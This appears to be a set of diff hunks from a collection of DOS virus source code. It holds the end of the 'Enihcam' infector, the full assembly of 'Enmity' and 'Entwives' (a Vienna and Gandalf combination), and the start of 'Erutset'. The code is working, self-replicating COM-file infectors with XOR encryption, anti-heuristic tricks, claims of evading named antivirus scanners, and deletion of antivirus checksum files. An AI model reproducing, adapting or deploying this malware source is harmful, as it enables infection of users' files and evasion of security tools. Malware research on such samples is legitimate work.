push cx ; push the attributes
push dx ; push the file name
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; set them now
mov ax,3d02h ; open the file
int 21h ; it is open now
xchg bx,ax ; move the info
mov ax,5700h ; get time / date
int 21h ; we have them now
push dx ; push the date
push cx ; push the time
mov ah,3fh ; read from file
lea dx,[bp+thrbyte] ; read into here
mov cx,3 ; read three bytes
int 21h ; got the first three
mov ax,word ptr [bp+dta+1ah] ; get file size
mov cx,word ptr [bp+thrbyte+1] ; move thrbyte+1 into CX
add cx,finished-start+3 ; get virus + jump size
cmp ax,cx ; compare the two
jz close ; if equal, close file
cmp ax,1000 ; file is > then 1kb ?
jb close ; to small, close it
cmp ax,62000 ; file is < then 62kb ?
ja close ; to big, close it up
sub ax,3 ; get size of main jump
mov word ptr [bp+newjump+1],ax ; write it into newjump
mov ax,4200h ; scan to start of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; pointing to SOF
mov ah,40h ; write to file
lea dx,[bp+newjump] ; write the jump
mov cx,3 ; # of bytes to write
int 21h ; write them now
mov ax,4202h ; scan to end of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; pointing to EOF
lea si,[bp+start] ; load the source index
lea di,[bp+buffer] ; load the desination index
mov cx,finished-start ; # of bytes to move
rep movsb ; load it into memory
lea si,[bp+d_encd-start+buffer] ; load the source index
mov cx,d_encr-d_encd ; # of bytes to encrypt
mov di,si ; move SI into DI
call d_encr ; encrypt 1st layer
lea di,[bp+encd-start+buffer] ; load the desination index
mov si,di ; move it into SI
mov cx,encr-encd ; # of bytes to encrypt
call encr ; encrypt 2nd layer
mov ah,40h ; write to file
mov cx,finished-start ; # of bytes to write
lea dx,[bp+buffer] ; start of virus in mem
int 21h ; write it now
close: mov ax,5701h ; set time / date
pop cx ; pop the time
pop dx ; pop the date
int 21h ; restore time/date files
mov ax,4301h ; set attributes
pop dx ; for this file
pop cx ; with these attributes
int 21h ; restore them now
mov ah,3eh ; close the file
int 21h ; file is closed
mov ah,4fh ; find next file
jmp find ; find it now
exit: mov ah,2ah ; get system time
int 21h ; we have it now
cmp al,004h ; is it tuesday?
jne endit ; nope, end this
mov ah,09h ; print a message
lea dx,[bp+pldmsg] ; our payload message
int 21h ; print it now
mov ah,00h ; wait for keypress
int 16h ; anounce our presence
endit: mov ah,1ah ; set DTA location
mov dx,80h ; to this location
int 21h ; restore DTA
retn ; return control to host
; ----------------------------( The Data Area )---------------------------- ;
; ------------------------------------------------------------------------- ;
pldmsg db '',10,13
db ' Infected with :: Enihcam :: written by KilJaeden of the Codebreakers 1998',10,13,'$'
thrbyte db 0cdh,20h,0 ; terminates 1st gen
newjump db 0e9h,0,0 ; blank jump 1st gen
comfile db "*.com",0 ; extension to search for
dta db 43 dup (?) ; space for DTA
; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;
d_encr: lodsb ; load a byte
xor al,0C4h ;------[1]
neg al ;-----[2]
ror al,4 ;----[3]
not al ;---[4]
rol al,4 ;--[5]
neg al ;-[6] encryption/decryption
rol al,4 ;--[5]
not al ;---[4]
ror al,4 ;----[3]
neg al ;-----[2]
xor al,0C4h ;------[1]
stosb ; store the byte
loop encr ; do all the bytes
ret ; return from call
; --------------------( End Of 1st Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;
encr: lodsb ; load a byte
neg al ;------[1]
ror al,4 ;-----[2]
not al ;----[3]
neg al ;---[4]
rol al,4 ;--[5]
xor al,0C4h ;-[6] encryption/decryption
rol al,4 ;--[5]
neg al ;---[4]
not al ;----[3]
ror al,4 ;-----[2]
neg al ;------[1]
stosb ; store the byte
loop encr ; do all the bytes
ret ; return from call
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
buffer: ; save our virus in mem
finished: ; offset label for virus end
once: lea si,[bp+new] ; load source index
lea di,[bp+decr] ; load destination index
movsw ; move two bytes
movsb ; move one byte
jmp d_encd ; jump to encrypted area
new: mov cx,encr-encd ; this replaces the jump
code ends ; end code segment
end blank ; end / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;
@@ -0,0 +1,490 @@
comment #
Enmity, by Lord Natas
Properties:
*COM infection (appending, nonresident)
*antiheuristic code
*no TBSCAN flags at time of release (second generation)
*encryption (xor, random 16 bit key)
*works with microsoft COM files (the ones with the stupid checksum)
*infects all files in current directory, then in the upper directory,
then in \, then in C:\WINDOWS\COMMAND.
*preserves date, time, attributes
*doesn't infect command.com, tb*.com files, or misnamed EXE files
*removes scanner checksums
Scanning results:
FPROT(3): nothing
AVP: nothing
TBSCAN(WIN95): nothing
FINDVIRUS: nothing
DRWEB: nothing
Assemble with TASM.
MASM produces errors (at least, the version I have)
#
.model tiny
.code
jumps
org 100h
code_length equ end_virus-start
;----- fake host - a jump and infection mark
host:
db 0e9h,0,0,'66'
start:
call get_offset
;----- get the delta offset
get_offset:
pop ax ;nice and (somewhat) anti-heuristic
xchg cx,ax
sub cx,offset get_offset
xchg bp,cx
call decrypt
jmp short virus_start
mov ax,4c00h ;this shuts-up findvirus
int 21h
virus_start:
push 1a01h ;!heuristic killer!
push 100h
lea si,[bp+oldbytes]
pop di
movsw ;move 5 bytes to 0100h
movsw
movsb
;----- move the DTA to the end
lea dx,[bp+dta] ;store in dta
pop ax
dec ax ;!heuristic killer!
int 21h
;----- save our current directory
mov ah,47h
xor dl,dl
lea si,[bp+old_dir] ;store in old_dir
int 21h
;----- find *.COM files
call killer
call findfirst
find_file:
int 21h
jc try_updir ;if error jump
call infect ;else infect
find_next:
mov ah,4fh ;find next file
jmp short find_file
try_updir:
mov ah,3bh
lea dx,[bp+higher_dir] ;change dir up
int 21h
jc is_root
call killer
call findfirst
find_updir:
int 21h
jc is_root ;if none, exit
call infect ;else infect
mov ah,4fh ;find next
jmp short find_updir
is_root:
mov ah,47h
xor dl,dl
lea si,[bp+dir_chk] ;store in dir_chk
int 21h
cmp byte ptr [bp+dir_chk],0
je try_win
try_root:
mov ah,3bh
lea dx,[bp+root] ;change dir to root ('\')
int 21h
jc try_win
call killer
call findfirst
find_root:
int 21h
jc try_win ;if none, exit
call infect ;else infect
mov ah,4fh ;find next
jmp short find_root
try_win:
mov ah,3bh
lea dx,[bp+win_command] ;change dir to command
int 21h
jc done_files
call killer
call findfirst
find_win:
int 21h
jc done_files ;if none, exit
call infect ;else infect
mov ah,4fh ;find next
jmp short find_win
done_files:
mov ah,3bh ;change back to old_dir
lea dx,[bp+old_dir]
int 21h
mov ah,2ch ;get time
int 21h
cmp dx,5 ;is it time to activate?
ja fix_dta ;no? return to host
begin:
mov ax,13 ;put video in mode 13
int 10h
lea si,[bp+msg]
print_lp:
cld ;clear direction flag (left
lodsb ;to right)
or al,al ;check for text end
jz fix_1
mov ah,0eh ;write char
xor bh,bh ;page 0
mov bl,5 ;color 5 -> magenta
int 10h
jmp short print_lp
fix_1:
xor ax,ax ;wait for key
int 16h
mov ax,03h ;restore to textmode
int 10h
;----- reset DTA
fix_dta:
push 1a00h ;fix dta
mov dx,80h
pop ax
int 21h
;----- clean up
xor ax,ax
mov bx,ax
mov cx,ax
mov dx,ax
mov di,ax
mov bp,ax
mov si,0101h ;special gift for TBAV
;----- restore control to cs:0100h
dec si
push si ;put 100h on stack so virus
ret ;jumps to host
;----- check name
infect:
cmp word ptr [bp+dta+1eh+5], "DN" ;commaND
je return
cmp word ptr [bp+dta+1eh], "BT" ;TBdel
je return
mov cx,13d ;max file length
lea si,[bp+dta+1eh] ;filename in dta
compare:
lodsb ;get byte
cmp al,"." ;is it "."?
jne compare ;no, compare
cmp byte ptr [si],"C" ;is is *.C?
jne return ;no, return
;----- save attributes,time,date,size
mov cx,5 ;5 bytes
lea si,[bp+dta+15h] ;point to the dta
lea di,[bp+f_attr] ;move to f_attr
rep movsb
;----- remove attributes
mov ax,4301h
xor cx,cx ;no attribute
lea dx,[bp+dta+1eh] ;point to name in dta
int 21h
;----- open file for read/write
push 3d04h ;!heuristic killer!
lea dx,[bp+dta+1eh] ;filename in dta
pop cx
sub cx,2
xchg ax,cx
int 21h
xchg bx,ax ;put handle in bx
push 3f00h ;!heuristic killer!
;----- read 1st five bytes
mov cx,5
lea dx,[bp+oldbytes] ;store in oldbytes
pop ax
int 21h
;----- check for misnamed .EXE (fuck you microsoft) - anti-heuristic
mov ax,word ptr [bp+oldbytes]
add ax,0101h
cmp word ptr ax,'[N' ;check first 2 bytes
je close_file
cmp word ptr ax,'N['
je close_file
;----- check for infection mark
cmp word ptr [bp+oldbytes+3],'66' ;look for 66
je close_file
;----- check size - if > 60000 then close
cmp word ptr [bp+dta+1ah], 60000
ja close_file
;----- seek to eof - 7
mov ax,4202h
mov cx,-1
mov dx,-7
int 21h
;----- (eof-7)+7=eof
mov cx,7
add ax,cx
;----- calculate jump
sub ax,3
mov word ptr [bp+jump_bytes+1],ax
;----- read 7 bytes
mov ah,3fh
mov cx,7
lea dx,[bp+buffer]
int 21h
;----- add virus size to checksum
add word ptr [bp+buffer+5],code_length
;----- make new key
push 4000h
mov ah,2ch ;get time
int 21h
mov word ptr [bp+key1],dx ;use seconds + hundreths
;----- write unencrypted portion
mov cx,virus_start-start
lea dx,[bp+start]
pop ax
int 21h
;----- encrypt & move
push 4001h
mov cx,(key1-virus_start+1)/2 ;length of code
mov dx,word ptr [bp+key1] ;key
lea si,[bp+virus_start] ;source: virus start
lea di,[bp+crypt_buffr] ;destination: buffer
xor_loop2:
lodsw ;get byte from source
xor ax,dx ;xor it
stosw ;move it to destination
loop xor_loop2
;----- write encrypted shit
mov cx,key1-virus_start
lea dx,[bp+crypt_buffr]
pop ax ;!heuristic killer!
dec ax
push 4000h
int 21h
;----- write more unencrypted shit
mov cx,f_attr-key1 ;this is the decryptor and
lea dx,[bp+key1] ;other stuff that remains
pop ax ;unencrypted
int 21h
;----- seek to start of file
mov ax,4200h
xor cx,cx
cwd
push 4000h
int 21h
;----- write the jump
mov cx,5
lea dx,[bp+jump_bytes]
pop ax ;!heuristic killer!
int 21h
close_file:
;----- restore date/time
push 5701h
mov cx,word ptr [bp+f_time]
mov dx,word ptr [bp+f_date]
pop ax ;!heuristic killer!
int 21h
;----- close file
mov ah,3eh
int 21h
;----- restore attributes
mov ax,4302h
xor ch,ch
mov cl,byte ptr [bp+f_attr] ;old attributes
lea dx,[bp+dta+1eh] ;filename in dta
int 21h
return:
ret
;----- checksum deletion
killer:
lea dx,[bp+tbsum] ;pont to name
call kill_bad_file ;kill it
lea dx,[bp+pcsum1]
call kill_bad_file
lea dx,[bp+pcsum2]
call kill_bad_file
lea dx,[bp+ivsum]
call kill_bad_file
ret
;----- delete bad files - input: DS:DX = to kill
kill_bad_file:
mov ax,4301h
xor cx,cx ;no attribute
int 21h
mov ah,41h ;delete
int 21h
clc ;clear carry
ret
findfirst:
mov ah,4eh
mov cx,0007h ;all attributes
lea dx,[bp+comspec] ;comspec = filemask
ret
;----- data area 1
msg db 'Enmity',13,10,0
db 'by Lord Natas',0
comspec db '*.*OM',0 ;file search mask
win_command db 'C:\WINDOWS\COMMAND',0 ;target directory
root db '\',0 ;another target
higher_dir db '..',0 ;yet another
tbsum db 'ANTI-VIR.DAT',0 ;checksums to delete
pcsum1 db 'CHKLIST.MS',0
pcsum2 db 'CHKLIST.CPS',0
ivsum db 'IVB.NTZ',0
oldbytes db 90h,90h,90h,0cdh,20h ;host bytes
jump_bytes db 0e9h,0,0,'66' ;the jump to write
key1 dw ? ;encryption key
;----- simple xor encryption, TBAV screwing loop
decrypt:
mov cx,(key1-virus_start+1)/2 ;code length
mov dx,word ptr [bp+key1] ;key
lea si,[bp+virus_start] ;source of code
mov di,si ;to decrypt
xor_loop:
lodsw
jmp short fake2
fake1:
stosw
jmp short fake3
fake2:
xor ax,dx
jmp short fake1
fake3:
loop xor_loop
ret
;----- data area 2 - stuff for microsoft's lame checksums
buffer db 5 dup (?) ;buffer = eof-2
size_checksum db 2 dup (90h) ;checksum for microsoft coms
end_virus:
;----- this is not written to disk, thus saving much space
f_attr db ? ;file attribute
f_time dw ? ;file time
f_date dw ? ;file date
old_dir db 64 dup (?) ;old directory name
dta db 48 dup (?) ;DTA storage
dir_chk db 64 dup (?) ;for dir checking
;----- temp buffer for encryption
crypt_buffr db end_virus - virus_start dup (?)
end host
@@ -0,0 +1,776 @@
; Entwives: Two-in-one by Ender
; This virus is a combination of a G^2 COM infector, called Gandalf and
; the popular Vienna strain. This virus runs the Vienna code 7/8
; times and the Gandalf code the remaining 1/8. The Vienna viral code
; should load the infected file with Vienna and Gandalf while the
; Gandalf code will only load itself into the file.
; Please note that McAfee shows Lisbon and 1014 virus when scanning
; a file infected by this virus. Gandalf is invisible. At least on
; an older version it is.
;------------------------------------------------------------------------------
; First is Vienna
; ~~~~~~~~~~~~~~~
.model tiny
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************
VCODE: JMP virus
;This was the rest of the original .COM file. Tiny and simple, this time
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virus:
; ******************************************************************
; Determine which Viral code to use
; BY
; Getting current system time
;*******************************************************************
MOV AH,2CH
INT 21H
AND DH,7 ;Last 3 bits 0? (once in eight)
JNZ actvir ; If 7/8 use Vienna code
JMP carrier ; If 1/8 use Gandalf code
;*******************************************************************
; This is the special "one in eight" infection. If the above line were in
; its original form, the Gandalf code would be run 1/8 of the time, and
; rather than appending a copy of Vienna+Gandalf virus to the .COM file,
; the file would get the Gandalf virus. Why? Just for the Hell of it!
;*******************************************************************
actvir: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
;*************************************************************
; Get DTA address into ES:BX
;*************************************************************
PUSH ES
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
;******************************************************************
; Here after we've moved a subdirectory
;******************************************************************
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
;******************************************************************
; Make sure subdirectory ends in a "\"
;******************************************************************
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
;******************************************************************
; Here after we know there's a backslash at end of subdir
;******************************************************************
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
;*******************************************************************
; Find first string matching *.COM
;*******************************************************************
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
;*******************************************************************
; Find next ASCIIZ string matching *.COM
;*******************************************************************
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
;*******************************************************************
; Here when we find a file
;*******************************************************************
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
;********************************************************************
; Move the name to the end of the path
;********************************************************************
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
;********************************************************************
; Get File Attributes
;********************************************************************
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
;********************************************************************
; Rewrite the attributes to allow writing to the file
;********************************************************************
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
;********************************************************************
; Open Read/Write channel to the file
;********************************************************************
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
;*******************************************************************
; Get the file date & time
;*******************************************************************
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
;******************************************************************
; Here's where we infect a .COM file with this virus
;******************************************************************
infectcom:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
;******************************************************************
; Move file pointer to end of file
;******************************************************************
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
;*******************************************************************
; Write virus code to file
;*******************************************************************
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
;**********************************************************************
; Move file pointer to beginning of the file
;**********************************************************************
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
;**********************************************************************
; Write the 3 byte JMP at the start of the file
;**********************************************************************
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
;**********************************************************************
; Restore old file date & time, with seconds modified to 62
;**********************************************************************
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
;**********************************************************************
; Close File
;**********************************************************************
MOV AH,3EH
INT 21H
;**********************************************************************
; Restore Old File Attributes
;**********************************************************************
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
;**********************************************************************
; Here when it's time to close it up & end
;**********************************************************************
all_done:
PUSH DS
;**********************************************************************
; Restore old DTA
;**********************************************************************
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
; This is GANDALF. The second of the two viruses which the file could
; be infected by. Gandalf, unlike Vienna, only will infect with it's
; own code, instead of the code for both it and Vienna.
; Kudos to G^2 for the code for Gandalf
; Gandalf by Ender
carrier:
db 0E9h,0,0 ; jmp start
start:
call next
next:
pop bp
sub bp, offset next
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
cwd ; Default drive
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
mov ax, 3524h
int 0021h
push es
push bx
lea dx, [bp+INT24] ; ASSumes ds=cs
mov ax, 2524h
int 0021h
push cs
pop es
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
mov byte ptr [bp+numinfect], 0000h
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0007h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
return:
ret
old3 db 0cdh,20h,0
INT24:
mov al, 0003h
iret
infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
mov ax, 4300h
lea dx, [bp+newDTA+30]
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
mov bx, ax ; xchg ax,bx is more efficient
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
cmp word ptr [bp+offset readbuffer], 'ZM'
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so
lea si, [bp+offset readbuffer]
lea di, [bp+offset old3]
movsb
movsw
sub ax, 0003h
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
mov cx, heap-start
int 0021h
xor cx, cx
mov ax, 4200h
xor dx, dx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
; Data for Gandalf Virus
author db 'Entwives: Two-in-one G by Ender'
COMmask db '*.COM',0
dot_dot db '..',0
heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
; Data from the Vienna virus
;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************
vir_dat EQU $
;Use this with (SI + old_dta)
olddta_ DW 0 ;Old DTA offset
;Use this with (SI + old_dts)
olddts_ DW 0 ;Old DTA segment
;Use this with (SI + old_tim)
oldtim_ DW 0 ;Old Time
;Use this with (SI + ol_date)
oldate_ DW 0 ;Old date
;Use this with (SI + old_att)
oldatt_ DW 0 ;Old file attributes
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
first3_ EQU $
INT 20H
NOP
;Here's where the new JMP instruction is worked out
;Use this with (SI + jmp_op)
jmpop_ DB 0E9H ;Start of JMP instruction
;Use this with (SI + jmp_dsp)
jmpdsp_ DW 0 ;The displacement part
;This is the type of file we're looking to infect. (SI + f_spec)
fspec_ DB '*.COM',0
;Use this with (SI + path_ad)
pathad_ DW 0 ;Path address
;Use this with (SI + nam_ptr)
namptr_ DW 0 ;Pointer to start of file name
;Use this with (SI + env_str)
envstr_ DB 'PATH=' ;Find this in the environment
;File name workspace (SI + wrk_spc)
wrkspc_ DB 40h dup (0)
;Use this with (SI + dta)
dta_ DB 16h dup (0) ;Temporary DTA goes here
;Use this with (SI + dta_tim)
dtatim_ DW 0,0 ;Time stamp in DTA
;Use this with (SI + dta_len)
dtalen_ DW 0,0 ;File length in the DTA
;Use this with (SI + dta_nam)
dtanam_ DB 0Dh dup (0) ;File name in the DTA
creditauthor DB "Entwives: Two-in-one V by Ender" ; My credit
lst_byt EQU $ ;All lines that assemble into code are
; above this one
;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
CODE ENDS
END VCODE
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,337 @@
; ------------------------------------------------------------------------- ;
; Erutset v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 19/06/98 | Finished: 19/06/98 ;
; `-------------------^------------------- ;
; v1.0 - Memory resident .com appender, infects upon execution | Size: 637 ;
; v1.1 - restores time/date & attributes also infects readonly `---------- ;
; v1.2 - now has a single layer of XOR,NEG,ROR encryption ;
; v1.3 - added a second layer of XOR,NEG,NOT,ROR,ROL encryption ;
